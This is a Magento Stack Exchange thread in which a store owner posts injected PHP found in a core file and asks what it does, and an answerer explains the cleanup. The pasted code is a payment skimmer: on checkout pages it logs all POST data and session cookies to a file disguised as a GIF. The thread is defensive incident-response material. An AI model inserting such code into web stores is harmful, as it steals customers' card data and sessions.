I found that my "Mage/Core/Functions.php" file has been modified.

This file has this new line of codes:

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
    $ARINFO = $_POST;
    $ARINFO['date'] = $_SERVER['REQUEST_TIME'];
    $ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
    $ARINFO['url'] = $_SERVER['REQUEST_URI'];
    if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
    if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'simplecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onepagecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout')))
        $log_entry =  base64_encode(serialize($ARINFO)) . "\n";
        file_put_contents('/var/www/html/media/catalog/product/placeholder/default/no_image_2.gif', $log_entry, FILE_APPEND|LOCK_EX);

if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f'))
    file_put_contents('/var/www/html/media/catalog/product/placeholder/default/no_image_2.gif', "GIF\n");

It looks like site has been compromised.

Can anyone tell me what this code is doing? Please help.

What I am trying to find?

  1. Know how this code was entered, (from server)
  2. What can I do now?

1 Answer 1


Yes, you have been compromised. The code is collecting POST data and placing it as an entry into the noted file (faking as an image)


Know how this code was entered, (from server)

Check if this code exists in your VCS (GIT?) You can use git to search for any string, and you will get the commit hash that was first placed into the repo:

git log -S <string>

Check your webserver logs (access logs) to see when/who/how many times the file no_image_2.gif was accessed.

Check your server logs for ssh access/ftp access to your files.

What can I do now?

Once you can see what is in the noted output file, you will know more what to do. IE what exactly was stolen Maybe you used a payment method that did not post the credit card details via the form to magento server (example stripe with token based payments enabled)

If you are not using a token based payment system, change to one NOW. This hack was 100% to collect payment data (credit card numbers)

Dump the server/load one from fresh - you just don't know what else...backdoors left etc. Determine if more code was changed. Easy to do if you have VCS

Load a pristine magento into a folder. Add that to a local GIT repo. Copy in all your site files. do a git diff, see what else was altered.

Start with a fresh magento install, and rebuild your site.

There is a lot more to be done, but that will be a start.

good luck.

  • Thanks for detail info. My site's folder structure has been changed. It's been more than 1 year. Meaning the location of the file they creating is no more available. My concern is are they still collecting data? I can see that no_image_2.gif is last modified on same day I had changed the file/folder path. Oct 19, 2016 at 6:12
  • Well, if the code still exists, yes the data is still being collected. Can they get to it? Not according to you comment. The issue is more now of how long was this there? So what was collected prior to the structure change
    – ProxiBlue
    Oct 19, 2016 at 7:25
  • Do you think intruder may have had accessed to db as well? How do I correctly transfer the db to fresh site? Also would need to copy the images/skin files. Any suggestions? Oct 20, 2016 at 3:55
  • I cannot answer in regards to db access. I have no idea how that code was placed in your site.
    – ProxiBlue
    Oct 20, 2016 at 4:21
  • anything you could say on this: magento.stackexchange.com/questions/141939/… Oct 21, 2016 at 2:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.